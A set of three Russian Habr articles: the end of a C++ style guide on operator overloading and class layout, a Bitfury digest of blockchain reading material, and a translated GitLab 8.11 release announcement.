Определяйте перегруженные операторы только если их смысл очевиден, понятен, и соответствует общей логике. Например, используйте **|** в смысле операции ИЛИ; реализовывать же вместо этого логику канала (pipe) — не очень хорошая идея.
Определяйте операторы только для ваших собственных типов, делайте это в том же самом заголовочном и исходном файле, и в том же пространстве имён. В результате операторы будут доступны там же, где и сами типы, а риск множественного определения минимален. По возможности избегайте определения операторов как шаблонов, т.к. придётся соответствовать любому набору шаблонных аргументов. Если вы определяете оператор, также определяйте «родственные» к нему. И позаботьтесь о согласованности выдаваемых ими результатов. Например, если определяется оператор **<**, то определяйте все операторы сравнения и проследите, чтобы операторы **<** и **>** никогда не возвращали true для один и тех же аргументов.
Желательно определять неизменяющие значения бинарные операторы как внешние функции (не-члены). Если же бинарный оператор объявлен членом класса, неявное преобразование может применяться к правому аргументу, но не к левому. А это может слегка расстроить программистов, если (например) код **a < b** — будет компилироваться, а **b < a** — нет.
Не нужно пытаться обойти переопределение операторов. Если требуется сравнение (или присваивание и функция вывода), то лучше определить **==** (или **=** и **<<**) вместо своих функций **Equals()**, **CopyFrom()** и **PrintTo()**. И наоборот: не нужно переопределять оператор только потому, что внешние библиотеки ожидают этого. Например, если тип данных нельзя упорядочить и хочется хранить его в **std::set**, то лучше сделайте пользовательскую функцию сравнения и не пользуйтесь оператором **<**.
Не переопределяйте **&&**, **||**, **,** (запятая) или унарный **&**. Не переопределяйте **operator""**, т.е. не стоит вводить собственные литералы. Не используйте ранее определённые литералы (включая стандартную библиотеку и не только).
Дополнительная информация:
Преобразование типов описано в секции [неявные преобразования](#Implicit_Conversions). Оператор **=** расписан в [конструкторе копий](#Copy_Constructors). Тема перегрузки **<<** для работы со стримами освещена в [потоках/streams](#Streams). Также можно ознакомиться с правилами из раздела [перегрузка функций](#Function_Overloading), которые также подходят и для операторов.
### Доступ к членам класса
Данные класса делайте всегда закрытыми **private**, кроме [констант](#Constant_Names). Это упрощает использование инвариантов путём добавления простейших (часто — константных) функций доступа.
Допустимо объявлять данные класса как **protected** для использования в тестовых классах (например, при использовании [Google Test](https://github.com/google/googletest)) или других подобных случаях.
### Порядок объявления
Располагайте похожие объявления в одном месте, выносите общие части наверх.
Определение класса обычно начинается с секции **public:**, далее идёт **protected:** и затем **private:**. Пустые секции не указывайте.
Внутри каждой секции группируйте вместе подобные декларации. Предпочтителен следующий порядок: типы (включая **typedef**, **using**, вложенные классы и структуры), константы, фабричные методы, конструкторы, операторы присваивания, деструкторы, остальные методы, члены данных.
Не размещайте в определении класса громоздкие определения методов. Обычно только тривиальные, очень короткие или критичные по производительности методы «встраиваются» в определение класса. См. также [Встраиваемые функции](#Inline_Functions). | https://habr.com/ru/post/532820/ | null | ru | null |
# «Ультимативный» блокчейн-дайджест: полезные материалы на Хабре и другие источники по теме
Вчера мы [представили](https://habrahabr.ru/company/bitfury/blog/333446/) открытый фреймворк для разработки блокчейнов [Exonum](http://exonum.com/). Он позволит компаниям и правительственным организациям воплощать в жизнь безопасные блокчейн-решения.
Сегодня мы решили подготовить тематическую подборку для тех, кто хотел бы разобраться в устройстве блокчейн-технологии, но и не забыли более «продвинутых» пользователей.
[](https://habrahabr.ru/company/bitfury/blog/332438/)*/ изображение [Ron Mader](https://www.flickr.com/photos/planeta/) [CC](https://creativecommons.org/licenses/by-sa/2.0/)*
---
**Для начинающих**
------------------
---
#### `[«C чем это едят»: что такое блокчейн](https://habrahabr.ru/company/bitfury/blog/326340/)`
> *Компания [BitFury](http://bitfury.com) принимает участие в развитии блокчейна с 2011 года. Здесь мы рассказываем об истории данной технологии, даем простое объяснение принципов работы и знакомим с основными составляющими. Этот материал стоит использовать в качестве отправной точки и рекомендовать к прочтению всем, кто хотел бы понять, что такое блокчейн.*
#### `[Что такое эксклюзивные блокчейны](https://habrahabr.ru/company/bitfury/blog/330370/)`
> *Простыми словами об особенностях эксклюзивных блокчейнов, их задачах, сферах применения и возможностях. В этом материале мы постарались привести как можно больше примеров и дать полезные ссылки на первоисточники. Кроме того, здесь вы найдете подраздел, посвященный фреймворкам для эксклюзивных блокчейнов.*
#### `[Объяснение блокчейна для веб-разработчиков](https://habrahabr.ru/post/323128/)`
> *Хабражитель [Ratix](https://habr.com/ru/users/ratix/) подготовил перевод материала «[The Blockchain Explained to Web Developers, Part 1: The Theory](https://marmelab.com/blog/2016/04/28/blockchain-for-web-developers-the-theory.html)» за авторством Франсуа Занинотто (Francois Zaninotto). Это очередная попытка разобраться в теме с помощью самостоятельного перевода первоисточника. В этой статье вы найдете базовое определение блокчейна, краткий рассказ о криптовалютах, майнинге, блоках и контрактах.*
#### `[Кто нужен блокчейн-проектам, где их искать и сколько платят специалистам](https://vc.ru/p/blockchain-staff)`
> *Крупнейшие международные организации начинают активное внедрение в свою деятельность технологии построения цепочки блоков транзакций. Здесь вы сможете увидеть экспертное мнение о том, какие специалисты нужны прямо сейчас, кто в них заинтересован и какие вам потребуются знания для работы с блокчейном.*
#### `[Кладбище блокчейн-проектов](https://magoo.github.io/Blockchain-Graveyard/)`
> *Это — сборник 43 инцидентов, негативно отразившихся на тех или иных криптовалютах. Беглый анализ основных причин произошедшего говорит, что основные проблемы связаны с применением методов социальной инженерии, перехватом аккаунтов облачного хранилища данных и базовых уязвимостей на уровне приложений.*
**Для любителей**
-----------------
---
#### `[Как майнить с помощью бумаги и ручки](https://habrahabr.ru/post/258181/)`
> *[mark\_ablov](https://habr.com/ru/users/mark_ablov/) подготовил перевод занимательной заметки Кена Ширриффа (Ken Shirriff), которую тот написал еще в 2014 году. Этот материал будет интересен тем, кто хотел бы перейти от слов к практике и разобраться в сути технологии. Помимо времени на решение задачи Кен предполагает и свое энергопотребление, хотя затраты на бумагу и ручки он исключил из общего обоснования экономической эффективности процесса.*
#### `[Как масштабировать биткойн-блокчейн](https://habrahabr.ru/company/bitfury/blog/330726/)`
> *Здесь мы разбираемся с тем, как устранить самый большой недостаток биткойн-блокчейна. Из этой статьи вы узнаете о тех решениях, которые предлагает мировое сообщество, и о том, какое из них станет частью биткойн-сети. Для тех, кто уже успел немного погрузиться в тему: речь пойдет о Segregated Witness и Lightning Network.*
#### `[Как работать с метаданными блокчейна](https://medium.com/@bkawk/inserting-metadata-into-the-blockchain-40c0734b203e)`
> *Пошаговый анализ того, что можно сделать на уровне метаданных. От биткоин-адреса до Transaction ID и возможных параметров метаданных, их передачи и необходимых для этого ресурсов.*
#### `[Как запустить надстройку над биткойн-блокчейном](https://habrahabr.ru/company/bitfury/blog/331268/)`
> *Здесь мы приводим чуть более детальный разбор того, что из себя представляет Lightning Network. Плюс рассказываем о том, как можно настроить двунаправленный платежный канал, немного о работе в сети, трехстороннем обмене и маршрутизации в Lightning Network.*
#### `[«Алгоритмы консенсуса»: Подтверждение доли и доказательство работы](https://habrahabr.ru/company/bitfury/blog/327468/)`
> *Распределенный и децентрализованный характер архитектуры блокчейна ставит перед сообществом задачу распределенного консенсуса. В этой статье мы начинаем со структуры блокчейн-сетей, говорим о консенсусе и «доказательстве работы». Помимо этого — приводим альтернативы для PoW. Этот материал мы рекомендуем «продвинутым пользователям».*
#### `[«Криптография в блокчейнах»: о хеш-функциях и цифровых подписях](https://habrahabr.ru/company/bitfury/blog/327272/)`
> *Разбираемся с тем, что лежит в основе блокчейна. Здесь вы сможете узнать, что дает защиту от коллизий, познакомиться с «эффектом лавины» и найти «живые» примеры, которые наглядно иллюстрируют рассматриваемые понятия. В этом нам помогли Алиса и Боб, активные пользователи биткойна.*
#### `[Различия, плюсы и минусы: публичные и приватные блокчейны](https://habrahabr.ru/company/bitfury/blog/324458/)`
> *Крупнейшие банковские структуры и другие организации активно изучают возможности построения собственных приватных блокчейнов. Мы решили разобраться с соответствующей терминологией и характерными особенностями публичных и приватных блокчейнов.*
#### `[Обзор децентрализованных технологий. Часть 1](https://habrahabr.ru/post/237765/) и [Часть 2](https://geektimes.ru/post/241426/)`
> *Александр Стрелов [pokupo](https://habr.com/ru/users/pokupo/) написал серию обзорных материалов и постарался коротко осветить самые интересные проекты из области блокчейна. Его основная задача заключалась в том, чтобы начать рассказывать о революционной технологии, которая открывает новые возможности для построения принципиально иных систем и программных продуктов.*
#### `[Погружение в блокчейн: Быстрые и безопасные транзакции](https://habrahabr.ru/company/microsoft/blog/312308/)`
> *Корпоративный блог Microsoft повествует о проектах, разработанных на основе технологии блокчейн. В этом материале вы найдете краткий анализ проблем, которые решает новая технология, и практический туториал на тему выполнения задачи по развёртыванию, в том числе и распределенного варианта, сети блокчейн. Продолжение цикла статей — [здесь](https://habrahabr.ru/company/microsoft/blog/316326/).*
#### `[200 строк на блокчейн](https://medium.com/@lhartikk/a-blockchain-in-200-lines-of-code-963cc1cc0e54)`
> *Лаури Хартикка (Lauri Hartikka) поможет разобраться с реализацией простейшего блокчейна на самописном примере, который он назвал NaiveChain. Сам проект написан на Javascript, а в материале Лаури рассказывает о его основных составляющих и архитектуре. Дополнительно для интересующихся: [репозиторий](https://github.com/lhartikk/naivechain) на GitHub.*
---
**Кейсы**
---------
---
#### `[Как с помощью блокчейна защитить свои данные](https://habrahabr.ru/company/acronis/blog/331326/)`
> *Компания Acronis рассказывает в своем корпоративном блоге о том, каким образом новую технологию возможно применить в сфере обеспечения безопасности данных. Здесь кратко рассмотрена техническая сторона задачи и поставлены юридические вопросы, которые влияют на применение подобных решений на территории России.*
#### `[Иное применение блокчейнов: Смарт-контракты](https://habrahabr.ru/company/bitfury/blog/330316/)`
> *В одном их материалов блога [Bitfury Group](http://bitfury.com/) на Хабрахабре мы решили разобраться с тем, что из себя представляют смарт-контракты. Здесь мы кратко затронули примеры платформ для смарт-контрактов (Rootstock) и поговорили о будущем и практическом применении умных контрактов.*
#### `[Разработки Университета ИТМО: Управление дронами на блокчейне](https://habrahabr.ru/company/spbifmo/blog/315750/)`
> *Университет ИТМО рассказывает об одном из точечных экспериментов своего сообщества. Сфера применения — управление беспилотниками. Платформа — Ethereum.*
#### `[Блокчейн для управления городом: властям Дубая поможет IBM](https://habrahabr.ru/company/ibm/blog/326680/)`
> *Правительство Дубая планирует запустить управление инфраструктурой города на базе блокчейна уже в следующем году. Создаваемая платформа будет открытой и для других регионов. В своем корпоративном блоге на Хабре компания IBM (партнер проекта) подчеркивает, что возможности новой технологии должны и будут применяться не только в сфере финансовых услуг.*
#### `[Регистрация прав на землю с помощью блокчейна](https://medium.com/@BitFuryGroup/the-bitfury-group-and-government-of-republic-of-georgia-expand-historic-blockchain-land-titling-4c507a073f6b)`
> *Bitfury Group поможет правительству Грузии вести регистрацию прав собственности на земельные участки с помощью технологии блокчейн. Об этом кейсе мы рассказывали в своем англоязычном блоге на Medium.*
#### `[Электронное правительство на основе блокчейн-технологий](https://medium.com/@BitFuryGroup/ukrainian-government-partners-with-the-bitfury-group-to-create-first-full-scale-blockchain-bce7b626ee34)`
> *Еще один кейс применения блокчейна вне финансового сектора — сотрудничество Bitfury Group и правительства Украины. Первый этап программы — интеграция технологии в платформу электронного правительства. Первоначальные области для внедрения: реестры, социальный сектор, сферы здравоохранения и энергетики. По мере завершения пилотного проекта программа охватит все сферы правительственной компетенции, включая информационную безопасность.*
#### `[ТОП 10 ошибок при создании блокчейн-проектов от Gartner Inc](https://habrahabr.ru/post/324670/)`
> *Владимир [Menaskop](https://habr.com/ru/users/menaskop/) подготовил перевод материала, который предлагает взглянуть не только на технологическую, но и на управленческую составляющую блокчейн-проектов. [Оригинал](http://www.gartner.com/smarterwithgartner/top-10-mistakes-in-enterprise-blockchain-projects/) — в блоге Gartner на английском.*
#### `[Блокчейн для ИИ](https://blog.bigchaindb.com/blockchains-for-artificial-intelligence-ec63b0284984)`
> *Трент МакКонахи (Trent McConaghy) поделился со своей аудиторией видением того, каким образом блокчейн может повлиять на развитие ИИ. Трент рассмотрел этот вопрос с точки зрения «стратегии голубого океана» и проанализировал возможности для работы с большими данными.*
#### `[Для чего подойдет блокчейн](https://medium.com/yope-chain/30-things-you-can-do-with-a-blockchain-b23b2ab39664)`
> *Блог Digital Chains на Medium представляет аудитории интересный англоязычный материал на тему практического применеия блокчейна. Здесь вы сможете найти 30 use-кейсов с примерами уже существующих проектов: от сервиса для доставки товаров и до методов управления медицинской историей пациентов.*
#### `[Что может блокчейн](http://expert.ru/russian_reporter/2017/10/chto-mozhet-blokchejn/)`
> *Журнал Эксперт заинтересовался возможностями блокчейна и привел собственный разбор проблем и решений в таких сферах как регистрация прав на собственность, заключение контрактов, гарантирование свободы информации и ряда других. Получился великолепный аналитический материал, который мы рекомендуем к прочтению.*
#### `[Где и как применять блокчейн](https://softwareengineeringdaily.com/2017/04/06/blockchain-applications-with-mike-goldin/)`
> *Майк Голдин (Mike Goldin), разработчик блокчейн-решений, записал тематический подкаст на тему возможностей новой технологии и проблем, которые приходится решать. Здесь вы сможете найти текстовый [транскрипт](http://softwareengineeringdaily.com/wp-content/uploads/2017/04/SED325-Blockchain-Apps.pdf) выпуска.*
#### `[17 use-кейсов для блокчейна](https://everisnext.com/2016/05/31/blockchain-disruptive-use-cases/)`
> *Еще одна англоязычная подборка с огромным количеством примеров уже запущенных проектов (в среднем по 3-4 примера на каждый use-кейс). Данный материал подойдет тем, кто только начинает разбираться в теме.*
#### `[27 отраслей для применения блокчейна](https://www.cbinsights.com/blog/industries-disrupted-blockchain/)`
> *CB Insights, одна из наиболее авторитетных аналитических компаний, публикует свою подборку сфер применения блокчейна. Этот материал дополняет предыдущие новыми примерами реализованных проектов.*
#### **Другие тематические сборники:**
* BitFury Group Research Whitepapers: [1](http://bitfury.com/white-papers-research) и [2](http://bitfury.com/white-papers-research/page:2)
* [Список из 101 лидера блокчейн-индустрии](https://due.com/blog/101-top-blockchain-companies/)
* [Авторский список источников по теме](https://drive.google.com/file/d/0B6CKmAqa1_nzRGVicnlHY1BaaUk/view)
* [Еще один «ультимативный» список источников](http://startupmanagement.org/2017/06/06/the-ultimate-reading-list-for-blockchain-token-and-cryptocurrency-sources/)
* [Обсуждение по теме в разделе Show HN](https://news.ycombinator.com/item?id=12571287)
* [Великолепная подборка источников на Github](https://github.com/Xel/Blockchain-stuff) | https://habr.com/ru/post/332438/ | null | ru | null |
# GitLab 8.11: канбан-доска и разрешение конфликтов одним кликом
*Эта статья — перевод релизной статьи компании GitLab. Релизы выходят каждый месяц 22 числа.*
*Если вы пропустили предыдущие, вот ссылки: [8.10](https://habrahabr.ru/company/softmart/blog/306860/), [8.9](https://habrahabr.ru/company/softmart/blog/305436/), [8.8](https://habrahabr.ru/company/softmart/blog/302884/)*
---
В новом GitLab 8.11 столько всего интересного, что мы с трудом сдерживаем себя в рамках конструктивного повествования!
Итак, в новой версии появились:
* принципиально новый новый способ представления и работы с тикетами (issues);
* слеш-команды (`/command`) для работы с тикетами;
* возможность создавать шаблоны тикетов (в неограниченном количестве);
* онлайн-среда разработки;
* возможность разрешать конфликты мержа не выходя из GitLab;
* настройка прав на пуш в ветку для отдельных участников и групп (только в ЕЕ);
* … и много других фич, о которых мы тоже расскажем.
[MVP](https://about.gitlab.com/mvp/) этого месяца — Clement Ho. Спасибо ему за мерж-реквесты и отзывчивость в работе над задачами.
Доска тикетов (Issue Board)
---------------------------
Тикеты (issues) в GitLab — очень гибкий инструмент. Они могут содержать ссылки друг на друга, можно обозначить их приоритеты, можно отсортировать по популярности. Доска тикетов добавляет новый способ работы с ними.
Теперь можно настраивать рабочие процессы (workflows) и быстро получать информацию о состоянии тикетов. Всё это доступно на простой и приятной глазу доске, похожей на те, что используются в Канбане или Скраме.
Доска создается для каждого проекта автоматически. По умолчанию все открытые тикеты формируют список-бэклог (Backlog), а все закрытые появляются в списке завершённых (Done list).
Добавляя новые списки, вы создаёте новые рабочие процессы. Принадлежность тикета к списку определяется меткой. При добавлении тикета в список к ней добавляется соответствующая метка, при удалении из списка — метка удаляется.
Если у вас раньше были метки вроде `фронтенд`, `бэкенд` и `дизайн` — самое время сделать из них списки. Тикеты появятся в них автоматически. И, конечно, тикет может принадлежать более чем одному списку.
Если хотите посмотреть на эту фичу в действии, загляните на [доску GitLab CE версии 8.12](https://gitlab.com/gitlab-org/gitlab-ce/board?author_id=&assignee_id=&milestone_title=8.12).
> [Документация по доскам тикетов](http://docs.gitlab.com/ce/user/project/issue_board.html)
Разрешение конфликтов при мерже
-------------------------------
Мержи в крупных и активно разрабатываемых проектах обычно вызывают много проблем. Мы хотим, чтобы у вас был встроенный инструмент для разрешения конфликтов. Поэтому теперь можно это делать прямо в интерфейсе GitLab.
Когда мерж блокируется конфликтом, можно просто нажать кнопку "Resolve these conflicts" и перейти в интерфейс разрешения. Там можно выбрать нужные строки и закоммитить полученный результат.
Разумеется, так получится разрешить далеко не все конфликты. Но мы надеемся, что в большинстве случаев этот инструмент поможет вам ускорить прохождение мерж-реквестов.
> [Документация по разрешению конфликтов](http://docs.gitlab.com/ce/user/project/merge_requests/resolve_conflicts.html)
Разрешения на работу с ветками для конкретных пользователей (только EE)
-----------------------------------------------------------------------
Теперь в Enterprise Edition можно настраивать разрешения на пуш или мерж в ветку не только для подгрупп пользователей (как `developers` или `owners`), но и для конкретных пользователей.
Новые настройки можно совмещать с другой функциональностью, в том числе с разрешениями для подгрупп. Например, можно разрешить пушить непосредственно в ветку только тимлидам Пете и Маше, но подтверждать мерж-реквесты в эту ветку — всем членам группы уровня `developer` и выше.
Для каждого действия (пуш и мерж) можно настроить любое количество авторизованных пользователей.
> [Документация по разрешениям на работу с ветками](http://docs.gitlab.com/ee/user/project/protected_branches.html#restricting-push-and-merge-access-to-certain-users)
«Закрытие» комментариев в мерж-реквестах.
-----------------------------------------
В мерж-реквестах бывают длинные ветки комментариев, в которых можно запутаться. Но каждый из них важен.
Мы добавили возможность отметить комментарий или целую ветку как обработанную и закрыть её.
В мерж-реквестах теперь также есть счётчик незакрытых обсуждений и удобная кнопка перехода к к следующему открытому обсуждению.
> [Документация по закрытию обсуждений в мерж-реквестах](http://docs.gitlab.com/ce/user/project/merge_requests/merge_request_discussion_resolution.html)
Схемы конвейеров.
-----------------
Конвейеры в GitLab могут иметь достаточно сложную структуру с множеством последовательных и параллельных сборок. Теперь можно посмотреть на схему конкретного конвейера, отображающую его строение и состояние. Такая схема наглядно показывает происходящие в нём процессы.
Просто кликните на конвейере на странице мерж-реквеста или в списке конвейеров. Вы увидите схему этого конвейера с отображением выполненных, проваленных, активных и ожидающих сборок.
Шаблоны тикетов и мерж-реквестов.
---------------------------------
Возможность стандартизировать тикеты и мерж-реквесты с помощью шаблонов уже была в GitLab Enterprise Edition. Начиная с GitLab 8.11 шаблонов может быть много — например, один для ошибок, а другой для предложений. А сама возможность есть во всех версиях: GitLab.com, GitLab CE/EE.
Шаблоны пишутся в разметке Markdown и лежат в вашем репозитории соответственно в папках `.gitlab/issue_templates` и `.gitlab/merge_request_templates`:
Цель этой фичи — улучшить внешний вид и полноту предложений, сообщений об ошибках и мерж-реквестов.
> [Документация по шаблонам](http://docs.gitlab.com/ce/user/project/description_templates.html)
Слеш-команды
------------
Теперь в GitLab есть слеш-команды (`/command`) — так же, как в IRC, HipChat, Mattermost или Slack. Они позволяют менять метки, назначать исполнителей, подписываться и отписываться от тикетов и делать многое другое — быстро и не отрывая рук от клавиатуры. Команды работают в описании тикета или мерж-реквеста, а также в комментариях.
Как ими пользоваться:
1. Вы вводите текст, содержащий команду (с клавиатуры, из шаблона, через API, как угодно).
2. Подтверждаете отправку комментария, сохранение тикета или реквеста.
3. Команды выполняются и больше не показываются в тексте. Если комментарий состоял только из команд, он будет выполнен, но не опубликован.
Можно использовать слеш-команды даже при создании нового тикета или реквеста:
Если последовательно указать несколько команд, то все они будут выполнены.
Несколько идей, как можно использовать слеш-команды:
* В письме в ответ на оповещение из тикета или мерж-реквеста (текст письма становится комментарием).
* В шаблоне тикета или мерж-реквеста.
* Через [notes API](https://gitlab.com/help/api/notes.md).
Мы сами с нетерпением ждём ваших рассказов о том, какие ещё способы использования вы изобретёте.
> [Документация по слеш-командам](http://docs.gitlab.com/ce/user/project/slash_commands.html)
Интеграция с Koding
-------------------
[Koding](https://github.com/koding/koding) позволяет запускать среду разработки в облаке, использовать единые настройки этой среды для всей команды и даже использовать локальный редактор. Благодаря этому не нужно тратить время на установку и настройку стека для каждого нового компьютера и при любом изменении.
Начиная с версии 8.11 GitLab поддерживает интеграцию с Koding. Теперь одним нажатием кнопки можно выкачать проект целиком или отдельный мерж-реквест и открыть его в полноценной облачной IDE. (обратите внимание, что на GitLab.com интеграция с Koding пока не добавлена).
Включите поддержку Koding в Admin > Application settings
Настройте Koding для работы с вашим проектом:
И все! Теперь вы можете быстро выкачать любой мерж-реквест, ветку и коммит проекта в полноценную IDE.
Мы подготовили небольшое видео, показывающее процесс работы связки Koding + GitLab:
Для того, чтобы узнать больше о Koding в GitLab, обратитесь к нашей [документации](http://docs.gitlab.com/ce/user/project/koding.html).
Конвейеры в мерж-реквестах
--------------------------
Теперь [конвейеры](https://about.gitlab.com/2016/05/22/gitlab-8-8-released/#pipelines) отображаются в мерж-реквестах:
Нажмите на конвейер, чтобы увидеть его схему и билды, относящиеся к нему.
Отображение статуса развертывания для мерж-реквестов
----------------------------------------------------
Теперь вы можете указывать URL для своих сред развертывания (environments):
Благодаря этому GitLab показывает статус развертывания для мерж-реквестов в случаях, когда развертывание происходит автоматически при мерже:
После успешного мержа GitLab покажет вам ссылку на среду развертывания, что позволяет увидеть результат мерж-реквеста в один клик.
Веб-хуки для конвейеров (pipelines)
-----------------------------------
Для упрощения интеграции с конвейерами GitLab мы добавили веб-хуки для них. Они срабатывают при создании, запуске или завершении работы конвейера.
Для того, чтобы добавить веб-хук, выберите `Webhooks` в меню Settings вашего проекта.
Подсветка и скрытие кода
------------------------
Теперь редактор GitLab поддерживает подсветку и позволяет скрывать блоки кода.
Ссылки на мерж-реквесты при пуше
--------------------------------
Теперь при пуше на GitLab появляются ссылки на создание мерж-реквеста, а также на все мерж-реквесты, имеющие отношение к текущему.
Значок покрытия тестами (test coverage)
---------------------------------------
Появилась возможность создавать значки, показывающие покрытие тестами вашего проекта:
Если вы не использовали отображение покрытия в GitLab, подключите его в настройках конвейеров: `pipelines/settings`.
> [Документация по значкам покрытия тестами](http://docs.gitlab.com/ce/ci/pipelines.html#test-coverage-report-badge)
Временные ограничения на доступ к проекту
-----------------------------------------
При выдаче доступа к проекту одиночному пользователю, либо группе, теперь можно установить определенную дату, после которой доступ к проекту будет для них закрыт.
Это упрощает работу с правами доступа для временных членов команды.
Перемещение проектов между шардами (только EE)
----------------------------------------------
В GitLab 8.10 были [добавлены](https://about.gitlab.com/2016/07/22/gitlab-8-10-released/#multiple-repository-mount-points) множественные точки монтирования (mount points).
В GitLab 8.11 появилась возможность перемещать проекты между шардами (shards) при помощи команды rake. Эта функциональность не предполагается для частого использования, однако она может оказаться полезной в случаях, когда вы хотите протестировать новый шард или переместить часто используемый проект на хранилище с быстрым доступом.
Улучшения производительности
----------------------------
В данном релизе был введен ряд изменений направленных на повышение производительности — мерж-реквесты и их диффы стали еще быстрее! Ниже приведены графики, показывающие разницу в производительности после развертывания GitLab 8.11 RC2 на GitLab.com (падение в производительности попадает на развертывание).
Время загрузки диффов для мерж-реквестов:
Количество выполненных SQL-запросов при отображении диффов:
Время, потраченное на выполнение SQL-запросов при отображении диффов:
Также значительно повысилась производительность конвейеров:
Ниже приведен детальный список проведенных улучшений и соответствующих мерж-реквестов:
### Улучшения
* Улучшен процесс проверки на возможность пользователю просматривать несколько тикетов: [!5370](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5370)
* Улучшена процесс проверки максимального уровня доступа пользователя: [!5412](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5412)
* Уменьшено количество SQL-запросов для отображения CI графиков: [!5502](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5502)
* Добавлены улучшения для работы GitLab’а с Git, направленные на уменьшение количества используемых команд и более быструю сортировку номеров версий: [!5536](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5536), [!5375](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5375)
* Информация об авторах коммитов теперь кешируется для каждой Sidekiq-транзакции во избежание дополнительных выборок: [!5537](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5537)
* Уменьшено количество запросов, используемых для отображения диффов мерж-реквестов: [!5551](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5551)
* Улучшена итерация по наборам диффов: [!5564](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5564)
* Повышена производительность методов, зависящих исключительно от статистики диффов: [!5568](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5568)
* Повышена производительность создания диффов путем удаления излишних проверок на текстовые блобы: [!5575](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5575)
* Удалены ненужные вызовы методов при создании диффов: [!5591](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5591)
* Улучшена проверка на активность diff note: [!5597](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5597)
* Улучшен процесс создания ссылок на трекер тикетов: [!5608](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5608)
* Повышена производительность парсинга ссылок в документах Markdown: [!5629](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5629)
* Повышена производительность синтаксической подсветки блоков кода в документах Markdown: [!5643](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5643)
* Улучшен процесс генерации ключей кеша для документов Markdown: [!5715](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5715)
* Улучшен процесс сортировки тегов Git: [!5723](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5723)
* Удалены триграммные индексы для таблицы `ci_runners` (только для PostgreSQL): [!5755](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5755)
* Удалены выборки коммитов в `DiffHelper`: [!5756](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5756)
* Удалены 45 избыточных индексов для баз данных: [!5759](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5759)
* Обратно добавлено кеширование todo-счетчиков: [!5789](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5789)
* Уменьшено количество проектов, используемых в запросах на получение списка todo: [!5791](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5791)
* Более не отображаются SVG-изображения размером более 2 мегабайт, благодаря чему уменьшено время загрузки и использование памяти: [!5794](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5794)
* Решена проблема с утечкой памяти в sanitization-фильтре Markdown: [!5808](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5808)
* Изменено отображение выпадающего меню, показывающего список проектов, в которые можно переместить тикет — теперь используется постраничный вывод вместо отображения полного списка: [!5828](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5828), [!5686](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5686)
* Удалены вызовы методов, ответственных за поиск ненужных блобов Git: [!5848](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5848)
* Добавлена асинхронная загрузка выпадающих меню для веток в диалогах cherry pick и revert: [!5607](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5607)
* Улучшены запросы, используемые для отметки todo как завершенных: [!5832](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5832)
* Проведен апдейт gitlab\_git до версии 10.4.7 для использования улучшений, появившихся в этой версии библиотеки: [!5851](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5851)
* Улучшены проверки доступа Git в Enterprise Edition: [!647](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/647)
* Удален ненужный индекс таблицы `geo_nodes`: [!639](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/639)
* Ace Editor теперь загружается только по необходимости, что уменьшает размер используемого JavaScript почти на 100 килобайт: [!4914](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/4914)
### Новые фичи
* Sidekiq теперь кеширует некоторые объекты транзакций. Эта опция включена по умолчанию, ее можно отключить через переменную окружения: [!5054](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5054)
* Теперь GitLab может использовать ruby-prof при обработке запросов, сохраняя данные профилировки на диск для дальнейшего просмотра. Для использования этой фичи нужно определить токен в заголовке: [!5281](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5281)
* Добавлена возможность отслеживания кастомных событий с помощью GitLab Performance Monitoring. Например, количество пушей, форков проектов и т. д.: [!5830](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5830)
### Инструментирование
* Проведено инструментирование Nokogiri: [!5470](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5470)
* Уменьшена ненужная нагрузка на инструментирование вызовов методов: [!5550](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5550)
* Проведено инструментирование класса `Repository`: [!5621](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5621)
* Проведено инструментирование `Gitlab::Highlight`: [!5644](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5644)
* Проведено повторное интсрументирование `Project.visible_to_user`: [!5793](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/5793)
GitLab Mattermost 3.3
---------------------
GitLab 8.11 поставляется с [Mattermost 3.3](https://www.mattermost.org/mattermost-3-3-chinese-korean-dutch-message-flags-here-golang-bot-sample-and-much-more/), [открытым аналогом Slack](https://www.mattermost.org/).
В Mattermost 3.3 добавлены локализации на китайский, корейский и голландский языки, [бот на Go](https://github.com/mattermost/mattermost-bot-sample-golang),
возможность помечать (flag) посты, упоминания вида `@here` и многое другое.
Кроме того, в этоу версию Mattermost вошли несколько [security updates](http://about.mattermost.com/security-updates/), поэтому мы настоятельно рекомендуем обновиться на нее.
Поддержка Redis Sentinel
------------------------
В GitLab теперь еть экспериментальная поддержка Redis Sentinel.
